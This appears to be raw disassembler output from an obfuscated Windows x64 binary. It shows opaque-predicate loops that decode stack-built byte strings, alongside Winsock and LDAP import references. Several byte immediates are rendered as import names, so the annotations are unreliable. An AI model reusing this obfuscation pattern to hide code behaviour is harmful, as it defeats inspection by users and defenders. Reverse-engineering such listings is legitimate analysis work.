mov ecx, Ordinal_50
sub cl, al
lea r10d, [rcx + rcx]
add r10b, r11b
add r10b, dl
cmp r8, 0x10
jae 0x1400e9163
lea rax, [r9 + 0x40]
cmp r8, rax
jbe 0x1400e9052
movabs rdx, 0xb2dc1ea681329940
add rdx, rbx
movzx eax, r11b
and al, dl
mov ecx, reloc.WLDAP32.dll_Ordinal_32
sub cl, al
lea r10d, [rcx + rcx]
add r10b, r11b
jmp 0x1400e8c40
movabs rdx, 0xb9cbab56807f9720
add rdx, rbx
movzx eax, r11b
and al, dl
mov ecx, reloc.WS2_32.dll_recv
sub cl, al
lea r10d, [rcx + rcx]
add r10b, r11b
add r10b, dl
lea rax, [r9 + r8]
cmp rax, 0x5a
je 0x1400e91aa
lea rax, [r9 + 0x3e8]
cmp r8, rax
jbe 0x1400e8fa7
movabs rdx, 0xd31a61ba4d60f520
add rdx, rbx
movzx eax, r11b
and al, dl
mov ecx, reloc.WS2_32.dll_recv
jmp 0x1400e8c8b
movabs rcx, 0x3e8a6d8936e9d8c0
add rcx, rbx
movzx eax, r11b
and al, cl
add al, al
sub r11b, al
lea r10d, [rcx + r11]
sub r10b, 0x40
movzx eax, byte [rbp + rbx + 0x210]
add rax, r9
add rbx, rax
inc rbx
jmp 0x1400e8794
movabs rdx, 0x725f987ee8d5e180
add rdx, rbx
movzx eax, r11b
and al, dl
add al, al
movzx r10d, r11b
sub r10b, al
add r10b, 0x80
add r10b, dl
jmp 0x1400e936a
movabs rdx, 0xa634c3749ac1ea40
mov ecx, reloc.WLDAP32.dll_Ordinal_32
jmp 0x1400e932c
movabs rcx, 0xda09ee6a4cadf300
add rcx, rbx
movzx eax, r11b
and al, cl
add al, al
sub r11b, al
lea r10d, [rcx + r11]
jmp 0x1400e9304
movabs rcx, 0xddf195ffe99fbc0
add rcx, rbx
movzx eax, r11b
and al, cl
add al, al
sub r11b, al
lea r10d, [rcx + r11]
sub r10b, 0x40
jmp 0x1400e9301
movabs rdx, 0x41b44455b0860480
add rdx, rbx
movzx eax, r11b
and al, dl
add al, al
movzx r10d, r11b
sub r10b, al
add r10b, 0x80
add r10b, dl
jmp 0x1400e9185
movabs rdx, 0x75896f4b62720d40
add rdx, rbx
movzx eax, r11b
and al, dl
mov ecx, reloc.WLDAP32.dll_Ordinal_32
sub cl, al
lea r10d, [rcx + rcx]
add r10b, r11b
add r10b, dl
dec rbx
inc rbx
jmp 0x1400e8794
movabs rcx, 0xa95e9a41145e1600
add rcx, rbx
movzx eax, r11b
and al, cl
add al, al
sub r11b, al
lea r10d, [rcx + r11]
inc r9
dec rbx
inc rbx
jmp 0x1400e8794
movabs rdx, 0xdd33c536c64a1ec0
add rdx, rbx
movzx eax, r11b
and al, dl
add al, al
movzx r10d, r11b
sub r10b, al
sub r10b, 0x40
jmp 0x1400e9284
lea rcx, [r9 + 1]
cmp r8, rcx
jae 0x1400e8eb6
lea rdx, [rbx + r15]
movzx eax, r11b
and al, dl
add al, al
movzx r10d, r11b
sub r10b, al
sub r10b, 0x60
jmp 0x1400e8cf5
jne 0x1400e8ef2
movabs rdx, 0xbf8379d867a34840
add rdx, rbx
movzx eax, r11b
and al, dl
mov ecx, reloc.WLDAP32.dll_Ordinal_32
sub cl, al
lea r10d, [rcx + rcx]
add r10b, r11b
add r10b, dl
movzx eax, byte [rbp + rbx + 0x210]
add rax, r9
add rbx, rax
inc rbx
jmp 0x1400e8794
lea rax, [r9 + 3]
cmp r8, rax
jne 0x1400e8f20
movabs rdx, 0x57d923ed03cb36c0
add rdx, rbx
movzx eax, r11b
and al, dl
add al, al
movzx r10d, r11b
sub r10b, al
sub r10b, 0x40
jmp 0x1400e933e
lea rax, [r9 + 4]
cmp r8, rax
jne 0x1400e8f52
movabs rdx, 0xf02ece019ff32540
add rdx, rbx
movzx eax, r11b
and al, dl
mov ecx, reloc.WLDAP32.dll_Ordinal_32
sub cl, al
lea r10d, [rcx + rcx]
add r10b, r11b
add r10b, dl
jmp 0x1400e9301
lea rax, [r9 + 7]
cmp r8, rax
jne 0x1400e8f86
movabs rcx, 0x888478163c1b13c0
add rcx, rbx
movzx eax, r11b
and al, cl
add al, al
sub r11b, al
lea r10d, [rcx + r11]
sub r10b, 0x40
dec rbx
inc rbx
jmp 0x1400e8794
lea rax, [rcx + 1]
cmp r8, rax
jne 0x1400e8cf8
movabs rdx, 0x20da222ad8430240
mov ecx, reloc.WLDAP32.dll_Ordinal_32
jmp 0x1400e9272
lea rax, [r9 + 1]
cmp r8, rax
jne 0x1400e8fbf
movabs rdx, 0x9f4536c49b74ec60
jmp 0x1400e926d
inc rax
cmp r8, rax
jne 0x1400e8fd6
movabs rcx, 0x6b700bcee988e3a0
jmp 0x1400e92bd
lea rax, [r9 + 3]
cmp r8, rax
jne 0x1400e8fee
movabs rcx, 0x379ae0d9379cdae0
jmp 0x1400e9236
lea rax, [r9 + 2]
cmp r8, rax
jne 0x1400e9020
movabs rdx, 0xcff08aedd3c4c960
add rdx, rbx
movzx eax, r11b
and al, dl
mov ecx, Ordinal_50
sub cl, al
lea r10d, [rcx + rcx]
add r10b, r11b
add r10b, dl
jmp 0x1400e9301
lea rax, [r9 + 5]
cmp r8, rax
jne 0x1400e8c97
movabs rcx, 0x9c1b5ff821d8c0a0
add rcx, rbx
movzx eax, r11b
and al, cl
add al, al
sub r11b, al
lea r10d, [rcx + r11]
sub r10b, 0x60
jmp 0x1400e9304
lea rax, [r9 + 1]
cmp r8, rax
jne 0x1400e9091
movabs rcx, 0x7f06f3b0cf469080
add rcx, rbx
movzx eax, r11b
and al, cl
add al, al
sub r11b, al
lea r10d, [rcx + r11]
add r10b, 0x80
movzx eax, byte [rbp + rbx + 0x210]
add rax, r9
add rbx, rax
inc rbx
jmp 0x1400e8794
lea rax, [r9 + 4]
cmp r8, rax
jne 0x1400e90c3
movabs rdx, 0xe38772cfb9827640
add rdx, rbx
movzx eax, r11b
and al, dl
mov ecx, reloc.WLDAP32.dll_Ordinal_32
sub cl, al
lea r10d, [rcx + rcx]
add r10b, r11b
add r10b, dl
jmp 0x1400e9304
lea rax, [r9 + 5]
cmp r8, rax
jne 0x1400e90f4
movabs rdx, 0x7bdd1ce455aa64c0
add rdx, rbx
movzx eax, r11b
and al, dl
add al, al
movzx r10d, r11b
sub r10b, al
sub r10b, 0x40
add r10b, dl
jmp 0x1400e9185
lea rax, [r9 + 7]
cmp r8, rax
jne 0x1400e9124
movabs rcx, 0x4807f1eea3be5c00
add rcx, rbx
movzx eax, r11b
and al, cl
add al, al
sub r11b, al
lea r10d, [rcx + r11]
dec rbx
inc rbx
jmp 0x1400e8794
lea rax, [r9 + 3]
cmp r8, rax
jne 0x1400e8c43
movabs rdx, 0x1432c6f8f1d25340
add rdx, rbx
movzx eax, r11b
and al, dl
mov ecx, reloc.WLDAP32.dll_Ordinal_32
sub cl, al
lea r10d, [rcx + rcx]
add r10b, r11b
add r10b, dl
inc r9
dec rbx
inc rbx
jmp 0x1400e8794
movabs rdx, 0x78b34617dc0e3900
add rdx, rbx
movzx eax, r11b
and al, dl
add al, al
movzx r10d, r11b
sub r10b, al
add r10b, dl
add r10b, r11b
lea edx, [rbx - 0x60]
movzx eax, r11b
and al, dl
add al, al
movzx ecx, r10b
sub cl, al
sub cl, 0x60
add cl, r11b
add cl, dl
mov byte [rbp + rbx + 0x210], cl
jmp 0x1400e9301
movabs rdx, 0x44de1b222a223040
add rdx, rbx
movzx eax, r11b
and al, dl
mov ecx, reloc.WLDAP32.dll_Ordinal_32
sub cl, al
lea r10d, [rcx + rcx]
jmp 0x1400e933e
movabs rdx, 0xd433a48f2855560
add rdx, rbx
movzx eax, r11b
and al, dl
mov ecx, Ordinal_50
sub cl, al
lea r10d, [rcx + rcx]
add r10b, r11b
add r10b, dl
movzx eax, byte [rbp + rbx + 0x210]
add rax, r9
add rbx, rax
inc rbx
jmp 0x1400e8794
movabs rdx, 0x74ed9034565d66e0
add rdx, rbx
movzx eax, r11b
and al, dl
add al, al
movzx r10d, r11b
sub r10b, al
sub r10b, 0x20
jmp 0x1400e933e
movabs rcx, 0x44423c0b1e0d89e0
add rcx, rbx
movzx eax, r11b
and al, cl
add al, al
sub r11b, al
lea r10d, [rcx + r11]
sub r10b, 0x20
dec rbx
inc rbx
jmp 0x1400e8794
movabs rcx, 0x78176700cff992a0
jmp 0x1400e92bd
movabs rdx, 0xabec91f681e59b60
mov ecx, Ordinal_50
add rdx, rbx
movzx eax, r11b
and al, dl
sub cl, al
lea r10d, [rcx + rcx]
add r10b, r11b
add r10b, dl
lea edx, [rbx + 0x60]
movzx eax, r11b
and al, dl
mov ecx, Ordinal_50
sub cl, al
add cl, cl
add cl, r11b
add cl, dl
mov byte [rbp + rbx + 0x210], cl
inc r9
dec rbx
inc rbx
jmp 0x1400e8794
movabs rcx, 0x476c12d797a9b5a0
add rcx, rbx
movzx eax, r11b
and al, cl
add al, al
sub r11b, al
lea r10d, [rcx + r11]
sub r10b, 0x60
inc r9
dec rbx
inc rbx
jmp 0x1400e8794
movabs rcx, 0xe2eb93b8ad6dcfe0
add rcx, rbx
movzx eax, r11b
and al, cl
add al, al
sub r11b, al
lea r10d, [rcx + r11]
sub r10b, 0x20
add r8, r9
movzx eax, r10b
mov rcx, 0xffffffffffffffff
sub rcx, rax
add rbx, rcx
inc rbx
jmp 0x1400e8794
movabs rdx, 0x4a95e9a41145e160
mov ecx, Ordinal_50
add rdx, rbx
movzx eax, r11b
and al, dl
sub cl, al
lea r10d, [rcx + rcx]
add r10b, r11b
add r10b, dl
lea edx, [rbx - 0x20]
movzx eax, r11b
and al, dl
add al, al
movzx ecx, r11b
sub cl, al
sub cl, 0x20
add cl, dl
movzx eax, cl
mov byte [rbp + rbx + 0x210], al
inc r9
add rax, r9
sub rbx, rax
lea ecx, [rbx + 0x80]
movzx eax, r11b
and al, cl
add al, al
sub r11b, al
add r11b, 0x80
add r11b, cl
mov byte [rbp + rbx + 0x210], r11b
inc r8
mov rax, 0xffffffffffffffff
sub rax, r8
add rbx, rax
movzx eax, byte [rbp + rbx + 0x210]
add rax, r9
add rbx, rax
inc rbx
jmp 0x1400e8794
movabs rcx, 0xb2403f8f751df2e0
add rcx, rbx
movzx eax, r11b
and al, cl
add al, al
sub r11b, al
lea r10d, [rcx + r11]
sub r10b, 0x20
movzx eax, byte [rbp + rbx + 0x210]
add rax, r9
add rbx, rax
inc rbx
jmp 0x1400e8794
movabs rdx, 0x8920572d482fba20
add rdx, rbx
movzx eax, r11b
and al, dl
mov ecx, reloc.WS2_32.dll_recv
sub cl, al
lea r10d, [rcx + rcx]
add r10b, r11b
add r10b, dl
jmp 0x1400e8790
movabs rcx, 0xbcf58222fa1bc2e0
add rcx, rbx
movzx eax, r11b
and al, cl
add al, al
sub r11b, al
lea r10d, [rcx + r11]
sub r10b, 0x20
jmp 0x1400e8780
lea rcx, [rbp + 0x1751190]
jmp 0x1400e944d
lea rcx, [rbp + 0x17f0d30]
jmp 0x1400e944d
lea rcx, [rbp + 0x210]
call fcn.140048e00
call fcn.1400f7840
mov byte [rbp + 0x240], 0x53
mov byte [rbp + 0x241], 0x75
mov byte [rbp + 0x242], 0x63
mov byte [rbp + 0x243], WSAStartup
mov byte [rbp + 0x244], reloc.WS2_32.dll_WSASetLastError
mov byte [rbp + 0x245], reloc.WS2_32.dll_WSASetLastError
mov byte [rbp + 0x246], 0x76
mov byte [rbp + 0x247], Ordinal_45
mov byte [rbp + 0x248], Ordinal_79
mov byte [rbp + 0x249], 0x60
mov byte [rbp + 0x24a], 0x64
mov byte [rbp + 0x24b], 0x62
mov byte [rbp + 0x24c], 0x7f
mov byte [rbp + 0x24d], 0x65
mov byte [rbp + 0x24e], WSASetLastError
mov byte [rbp + 0x24f], WSASetLastError
mov byte [rbp + 0x250], reloc.WS2_32.dll_recv
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0x251], xmm0
mov byte [rbp + 0x261], al
movabs rbx, 0xff2c58f67ff69700
movabs rdi, 0x809f716bc8e64900
movabs rsi, 0xe239b2175b305300
movabs r14, 0xcf32dfaa36dafb00
movabs r15, 0x43d3f2c2ed7a5d00
movabs r12, 0x5afd085f91fec200
movabs r13, 0xbc97490b2448cc00
movzx edx, byte [rbp + 0x3d0]
nop dword [rax]
mov r8, qword [0x1402ea380]
mov r9, qword [0x1402ea378]
nop
xor eax, eax
mov r11d, eax
cmp r11, 0x22
jae 0x1400e9e57
movzx r10d, byte [rbp + r11 + 0x240]
nop dword [rax + rax]
cmp r8, r11
ja 0x1400e9e4e
lea rax, [r9 + 1]
cmp r8, rax
jae 0x1400e9588
lea rcx, [r11 + r14]
mov rax, r10
and rax, rcx
imul rdx, rax, 0xfffffffffffffffe
add rdx, r10
add rdx, rcx
jmp 0x1400e95e0
je 0x1400e9dd0
inc rax
cmp r8, rax
je 0x1400e9d75
lea rax, [r9 + 2]
cmp r8, rax
je 0x1400e9d30
lea rax, [r9 + 3]
cmp r8, rax
je 0x1400e9cfc
lea rax, [r9 + 4]
cmp r8, rax
je 0x1400e9cdb
lea rax, [r9 + 5]
cmp r8, rax
je 0x1400e9c9d
lea rax, [r9 + 6]
cmp r8, rax
je 0x1400e9c5b
nop dword [rax + rax]
cmp r9, r11
ja 0x1400e9e45
lea rcx, [r9 + 5]
cmp r8, rcx
jae 0x1400e9608
lea rdx, [r11 + rbx]
movzx ecx, r10b
and cl, dl
add cl, cl
movzx eax, r10b
sub al, cl
add dl, al
jmp 0x1400e9652
lea rax, [r9 + 1]
cmp r8, rax
je 0x1400e9c4f
lea rax, [r9 + 4]
cmp r8, rax
je 0x1400e9c40
lea rax, [r9 + 3]
cmp r8, rax
je 0x1400e9c31
cmp r8, rcx
je 0x1400e9c22
lea rax, [r9 + 6]
cmp r8, rax
je 0x1400e9c13
lea rax, [r9 + 2]
cmp r8, rax
je 0x1400e9c04
lea rax, [r9 + r8]
cmp rax, r11
jbe 0x1400e9a27
nop
lea rax, [r9 + 0x10]
cmp r8, rax
je 0x1400e9a18
lea rax, [r9 + 0x1000]
cmp r8, rax
je 0x1400e99ee
lea rax, [r9 + 0x42]
cmp r8, rax
je 0x1400e99df
lea rax, [r9 + 9]
cmp r8, rax
je 0x1400e99d0
lea rax, [r9 + 0x3e8]
cmp r8, rax
je 0x1400e99c1
lea rax, [r9 + 0x28]
cmp r8, rax
je 0x1400e99b2
lea rax, [r9 + 0x7a]
cmp r8, rax
je 0x1400e99a3
lea rax, [r9 + 0x80]
cmp r8, rax
je 0x1400e9994
lea r8, [r9 + 0x200]
lea r9, [r8 + 0x42]
lea rax, [r9 + 0x20]
cmp r8, rax
jb 0x1400e9e24
lea rax, [r9 + 0x61]
cmp r8, rax
jb 0x1400e9e03
lea rax, [r9 + 0x64]
cmp r8, rax
jb 0x1400e9807
lea rax, [r9 + 0xa]
cmp r8, rax
jb 0x1400e97ee
lea rax, [r9 + 0x400]
cmp r8, rax
jb 0x1400e97d5
lea rax, [r9 + 0x40]
cmp r8, rax
jb 0x1400e98d4
lea rax, [r9 + 0x41]
cmp r8, rax
jb 0x1400e98c8
lea rax, [r9 + 0x200]
cmp r8, rax
jb 0x1400e98b9
lea r8, [r9 + 0x3e8]
lea r9, [r8 + 0x64]
lea rax, [r9 + 0x28]
cmp r8, rax
ja 0x1400e98aa
lea rax, [r9 + 0x7a]
cmp r8, rax
ja 0x1400e989b
lea rax, [r9 + 0x80]
cmp r8, rax
ja 0x1400e988c
lea rax, [r9 + 0x10]
cmp r8, rax
ja 0x1400e987d
lea rax, [r9 + 0x1000]
cmp r8, rax
ja 0x1400e986e
lea rax, [r9 + 0x42]
cmp r8, rax
ja 0x1400e985f
lea rax, [r9 + 0x5a]
cmp r8, rax
ja 0x1400e9841
lea rax, [r9 + 0x3e8]
cmp r8, rax
ja 0x1400e9820
lea r8, [r9 + 0x400]
lea r9, [r8 + 0x80]
jmp 0x1400e9660
lea rdx, [r11 + rdi]
movzx ecx, r10b
and cl, dl
add cl, cl
movzx eax, r10b
sub al, cl
add dl, al
jmp 0x1400e9652
lea rdx, [r11 + rsi]
movzx ecx, r10b
and cl, dl
add cl, cl
movzx eax, r10b
sub al, cl
add dl, al
jmp 0x1400e95e0
lea rdx, [r11 + r15]
movzx ecx, r10b
and cl, dl
add cl, cl
movzx eax, r10b
sub al, cl
add dl, al
jmp 0x1400e9560
lea rcx, [r11 + r12]
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
lea edx, [rcx + r10]
inc r9
dec r11
inc r11
jmp 0x1400e9545
lea rcx, [r11 + r13]
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
lea edx, [rcx + r10]
dec r11
inc r11
jmp 0x1400e9545
movabs rdx, 0x1e3189b6b692d600
jmp 0x1400e9ca7
movabs rcx, 0x7fcbca6248dce000
jmp 0x1400e9ce5
movabs rcx, 0xe1660b0ddb26ea00
jmp 0x1400e9d06
movabs rdx, 0x43004bb96d70f400
jmp 0x1400e9d3a
movabs rdx, 0xa49a8c64ffbafe00
jmp 0x1400e9d7f
movabs rcx, 0x634cd1092050800
jmp 0x1400e9dda
movabs rdx, 0x5bd0af6912082b00
jmp 0x1400e994f
movabs rdx, 0xbd6af014a4523500
jmp 0x1400e9918
movabs rdx, 0x1f0530c0369c3f00
add rdx, r11
movzx ecx, r10b
and cl, dl
add cl, cl
movzx eax, r10b
sub al, cl
add dl, al
lea rax, [r9 + r8]
cmp rax, 0x80
je 0x1400e9bdf
lea rax, [r9 + 0x40]
cmp r8, rax
jbe 0x1400e9ab5
movabs rdx, 0x5f1f4b8f122dcf00
add rdx, r11
movzx ecx, r10b
and cl, dl
add cl, cl
movzx eax, r10b
sub al, cl
add dl, al
cmp r8, 0x200
jae 0x1400e9bba
lea rax, [r9 + 0x42]
cmp r8, rax
jbe 0x1400e9b2e
movabs rdx, 0x5e4ba48592246600
add rdx, r11
movzx ecx, r10b
and cl, dl
add cl, cl
movzx eax, r10b
sub al, cl
add dl, al
cmp r9, 0x3e8
jb 0x1400e9baa
movabs rdx, 0x8e451dd1db400200
add rdx, r11
movzx eax, r10b
and al, dl
add al, al
movzx ecx, r10b
sub cl, al
add cl, dl
lea edx, [rcx + rcx]
jmp 0x1400e9c78
movabs rdx, 0x5ca4567292119400
jmp 0x1400e9d7f
movabs rdx, 0xbe3e971e245b9e00
jmp 0x1400e9d3a
movabs rcx, 0x1fd8d7c9b6a5a800
jmp 0x1400e9d06
movabs rcx, 0x8173187548efb200
jmp 0x1400e9ce5
movabs rdx, 0xe30d5920db39bc00
jmp 0x1400e9ca7
movabs rcx, 0x44a799cc6d83c600
jmp 0x1400e9a98
movabs rcx, 0xa641da77ffcdd000
add rcx, r11
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
lea edx, [rcx + r10]
inc r9
dec r11
inc r11
jmp 0x1400e9545
movabs rdx, 0x7dc1b239217da00
jmp 0x1400e9c65
lea rax, [r9 + 0xa]
cmp r8, rax
jae 0x1400e9a39
lea rdx, [r11 + r14]
jmp 0x1400e98e1
lea rax, [r9 + 1]
cmp r8, rax
jne 0x1400e9a51
movabs rcx, 0xfe58b1ecffed2e00
jmp 0x1400e9dda
lea rax, [r9 + 2]
cmp r8, rax
jne 0x1400e9a69
movabs rdx, 0x3b243095db591a00
jmp 0x1400e9d3a
lea rax, [r9 + 4]
cmp r8, rax
jne 0x1400e9a81
movabs rdx, 0x16556e93247afc00
jmp 0x1400e9ca7
lea rax, [r9 + 7]
cmp r8, rax
jne 0x1400e98f1
movabs rcx, 0xb4bb2de79230f200
add rcx, r11
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
lea edx, [rcx + r10]
dec r11
inc r11
jmp 0x1400e9545
lea rcx, [r9 + 1]
cmp r8, rcx
jne 0x1400e9acd
movabs rdx, 0xfd850ae37fe3c500
jmp 0x1400e9c65
lea rax, [r9 + 3]
cmp r8, rax
jne 0x1400e9ae2
movabs rcx, 0x3a50898c5b4fb100
jmp 0x1400e9a98
lea rax, [rcx + 1]
cmp r8, rax
jne 0x1400e9afa
movabs rdx, 0xd8b648e0c905a700
jmp 0x1400e9ca7
lea rax, [r9 + 5]
cmp r8, rax
jne 0x1400e9b12
movabs rcx, 0x1581c789a4719300
jmp 0x1400e9d06
lea rax, [r9 + 9]
cmp r8, rax
jne 0x1400e992b
movabs rcx, 0xf0b30586ed937500
jmp 0x1400e9dda
lea rax, [r9 + 1]
cmp r8, rax
jne 0x1400e9b46
movabs rcx, 0xfcb163d9ffda5c00
jmp 0x1400e9dda
lea rax, [r9 + 2]
cmp r8, rax
jne 0x1400e9b5e
movabs rdx, 0x397ce282db464800
jmp 0x1400e9d3a
lea rax, [r9 + 3]
cmp r8, rax
jne 0x1400e9b76
movabs rcx, 0xd7e2a1d748fc3e00
jmp 0x1400e9d06
lea rax, [r9 + 4]
cmp r8, rax
jne 0x1400e9b8e
movabs rcx, 0x7648612bb6b23400
jmp 0x1400e9ce5
lea rax, [r9 + 5]
cmp r8, rax
jne 0x1400e9962
movabs rdx, 0x14ae208024682a00
jmp 0x1400e9ca7
mov byte [rbp + r11 + 0x240], dl
inc r11
jmp 0x1400e9545
movabs rdx, 0x2caadd2648f5f800
add rdx, r11
movzx eax, r10b
and al, dl
add al, al
movzx ecx, r10b
sub cl, al
add cl, r10b
add dl, cl
jmp 0x1400e9cba
movabs rdx, 0xcb109c7ab6abee00
add rdx, r11
movzx eax, r10b
and al, dl
add al, al
movzx ecx, r10b
sub cl, al
sub cl, r10b
add dl, cl
jmp 0x1400e9d4d
movabs rcx, 0x90c012ee5b5c3d00
jmp 0x1400e9dda
movabs rdx, 0xf25a5399eda64700
jmp 0x1400e9d7f
movabs rdx, 0x53f494457ff05100
jmp 0x1400e9d3a
movabs rcx, 0xb58ed4f1123a5b00
jmp 0x1400e9d06
movabs rcx, 0x1729159ca4846500
jmp 0x1400e9ce5
movabs rdx, 0x9d92184aedac8d00
jmp 0x1400e9c65
movabs rdx, 0x60c699a21240a100
add rdx, r11
movzx ecx, r10b
and cl, dl
add cl, cl
movzx eax, r10b
sub al, cl
add dl, al
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
add r10b, r11b
mov byte [rbp + r11 + 0x240], r10b
inc r9
dec r11
inc r11
jmp 0x1400e9545
movabs rdx, 0x85955ba4c91ebf00
add rdx, r11
movzx ecx, r10b
and cl, dl
add cl, cl
movzx eax, r10b
sub al, cl
add dl, al
movzx eax, r10b
and al, r11b
add al, al
movzx ecx, dl
sub cl, al
add cl, r10b
add cl, r11b
mov byte [rbp + r11 + 0x240], cl
add r8, r9
jmp 0x1400e9d18
movabs rcx, 0xe72f9c505b68c900
add rcx, r11
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
lea edx, [rcx + r10]
add r8, r9
jmp 0x1400e9d18
movabs rcx, 0x48c9dcfbedb2d300
add rcx, r11
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
lea edx, [rcx + r10]
movzx eax, dl
mov rcx, 0xffffffffffffffff
sub rcx, rax
add r11, rcx
inc r11
jmp 0x1400e9545
movabs rdx, 0xaa641da77ffcdd00
add rdx, r11
movzx ecx, r10b
and cl, dl
add cl, cl
movzx eax, r10b
sub al, cl
add dl, al
movzx ecx, r10b
and cl, r11b
add cl, cl
movzx eax, r10b
sub al, cl
add al, r11b
movzx ecx, al
mov byte [rbp + r11 + 0x240], cl
inc r9
add rcx, r9
sub r11, rcx
jmp 0x1400e9d92
movabs rdx, 0xbfe5e531246e700
add rdx, r11
movzx ecx, r10b
and cl, dl
add cl, cl
movzx eax, r10b
sub al, cl
add dl, al
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
add r10b, r11b
mov byte [rbp + r11 + 0x240], r10b
inc r8
mov rax, 0xffffffffffffffff
sub rax, r8
add r11, rax
movzx eax, byte [rbp + r11 + 0x240]
add rax, r9
add r11, rax
inc r11
jmp 0x1400e9545
movabs rcx, 0x6d989efea490f100
add rcx, r11
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
lea edx, [rcx + r10]
movzx eax, byte [rbp + r11 + 0x240]
add rax, r9
add r11, rax
inc r11
jmp 0x1400e9545
movabs rcx, 0xa56e336e7fc46700
add rcx, r11
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
lea edx, [rcx + r10]
jmp 0x1400e9540
movabs rcx, 0x708741a120e7100
add rcx, r11
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
lea edx, [rcx + r10]
jmp 0x1400e9530
lea rcx, [rbp + 0x160a640]
jmp 0x1400e9e5e
lea rcx, [rbp + 0x17ba140]
jmp 0x1400e9e5e
lea rcx, [rbp + 0x240]
call fcn.140048e00
mov byte [rbp + 0x270], 0x59
mov byte [rbp + 0x271], 7
mov byte [rbp + 0x272], 0x7a
mov byte [rbp + 0x273], 2
mov byte [rbp + 0x274], 9
mov byte [rbp + 0x275], 0xbd
mov byte [rbp + 0x276], WSASetLastError
mov byte [rbp + 0x277], reloc.WS2_32.dll_WSASetLastError
mov byte [rbp + 0x278], 4
mov byte [rbp + 0x279], 6
mov byte [rbp + 0x27a], 0xa
mov byte [rbp + 0x27b], 0xbb
mov byte [rbp + 0x27c], 0x79
mov byte [rbp + 0x27d], reloc.WS2_32.dll_send
mov byte [rbp + 0x27e], 0x68
mov byte [rbp + 0x27f], 0xa7
mov byte [rbp + 0x280], 0x77
mov byte [rbp + 0x281], reloc.WS2_32.dll_recvfrom
mov byte [rbp + 0x282], reloc.WS2_32.dll_WSAGetLastError
mov byte [rbp + 0x283], reloc.WS2_32.dll_setsockopt
mov byte [rbp + 0x284], 0xa2
mov byte [rbp + 0x285], 0x7f
mov byte [rbp + 0x286], Ordinal_35
mov byte [rbp + 0x287], WSAStartup
mov byte [rbp + 0x288], reloc.WLDAP32.dll_Ordinal_26
mov byte [rbp + 0x289], Ordinal_26
mov byte [rbp + 0x28a], reloc.WS2_32.dll_recv
mov byte [rbp + 0x28b], 0xa8
mov byte [rbp + 0x28c], Ordinal_143
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0x28d], xmm0
mov byte [rbp + 0x29d], al
movabs rdi, 0x9e6965c68c9bcdff
movabs rsi, 0xf3f695778a506be1
movabs r15, 0x2c1d665ec9be46c3
movabs r14, 0x9bbbc8b9f6d3de5b
movabs r12, 0x4380fbfc635750d5
movabs r13, 0x9b106176d161e272
movzx r10d, byte [rbp + 0x3d0]
nop dword [rax]
nop dword [rax + rax]
mov r8, qword [0x1402ea380]
mov r9, qword [0x1402ea378]
nop
xor eax, eax
mov ebx, eax
cmp rbx, 0x2e
jae 0x1400eacee
movzx r11d, byte [rbp + rbx + 0x270]
cmp r8, rbx
ja 0x1400eace5
lea rax, [r9 + 1]
cmp r8, rax
jae 0x1400e9fe3
lea rcx, [rbx + r15]
mov rax, r11
and rax, rcx
imul r10, rax, 0xfffffffffffffffe
add r10, r11
add r10, rcx
sub r10b, 0x55
jmp 0x1400ea030
je 0x1400eac5d
inc rax
cmp r8, rax
je 0x1400eabf6
lea rax, [r9 + 3]
cmp r8, rax
je 0x1400eabbd
lea rax, [r9 + 5]
cmp r8, rax
je 0x1400eab75
lea rax, [r9 + 4]
cmp r8, rax
je 0x1400eab4a
lea rax, [r9 + 2]
cmp r8, rax
je 0x1400eaafc
nop dword [rax]
cmp r9, rbx
ja 0x1400eacdc
lea rax, [r9 + 3]
cmp r8, rax
jae 0x1400ea05e
lea rdx, [rbx + rdi]
movzx eax, r11b
and al, dl
add al, al
movzx r10d, r11b
sub r10b, al
add r10b, 7
add r10b, dl
jmp 0x1400ea081
lea rcx, [r9 + 1]
cmp r8, rcx
je 0x1400eaada
cmp r8, rax
je 0x1400eaab0
lea rax, [rcx + 1]
cmp r8, rax
je 0x1400eaa7b
lea rax, [r8 + r9]
cmp rax, rbx
jbe 0x1400ea6d8
nop
lea rax, [r9 + 9]
cmp r8, rax
je 0x1400ea6af
lea rax, [r9 + 2]
cmp r8, rax
je 0x1400ea682
lea rax, [r9 + 0x28]
cmp r8, rax
je 0x1400ea653
lea rax, [r9 + 0x7a]
cmp r8, rax
je 0x1400ea62d
lea rax, [r9 + 0x80]
cmp r8, rax
je 0x1400ea605
lea rax, [r9 + 1]
cmp r8, rax
je 0x1400ea5dc
lea rax, [r9 + 0x20]
cmp r8, rax
je 0x1400ea5b3
lea rax, [r9 + 5]
cmp r8, rax
je 0x1400ea58e
lea rax, [r9 + 0x64]
cmp r8, rax
je 0x1400ea554
lea rax, [r9 + 0x2a]
cmp r8, rax
je 0x1400ea090
lea r8, [r9 + 0x42]
lea r9, [r8 + 0x400]
lea rax, [r9 + 0x5a]
cmp r8, rax
jb 0x1400eacb7
lea rax, [r9 + 0xa]
cmp r8, rax
jb 0x1400eac92
lea rax, [r9 + 3]
cmp r8, rax
jb 0x1400ea27f
lea rax, [r9 + 0x40]
cmp r8, rax
jb 0x1400ea260
lea rax, [r9 + 0x41]
cmp r8, rax
jb 0x1400ea241
lea rax, [r9 + 0x200]
cmp r8, rax
jb 0x1400ea4ef
lea rax, [r9 + 2]
cmp r8, rax
jb 0x1400ea48e
lea rax, [r9 + 0x28]
cmp r8, rax
jb 0x1400ea43b
lea rax, [r9 + 6]
cmp r8, rax
jb 0x1400ea40b
lea rax, [r9 + 0x80]
cmp r8, rax
jb 0x1400ea090
lea r8, [r9 + 0x61]
lea r9, [r8 + 1]
lea rax, [r9 + 0x64]
cmp r8, rax
ja 0x1400ea3d5
lea rax, [r9 + 0x2a]
cmp r8, rax
ja 0x1400ea3b0
lea rax, [r9 + 0x10]
cmp r8, rax
ja 0x1400ea387
lea rax, [r9 + 4]
cmp r8, rax
ja 0x1400ea362
lea rax, [r9 + 0x42]
cmp r8, rax
ja 0x1400ea33a
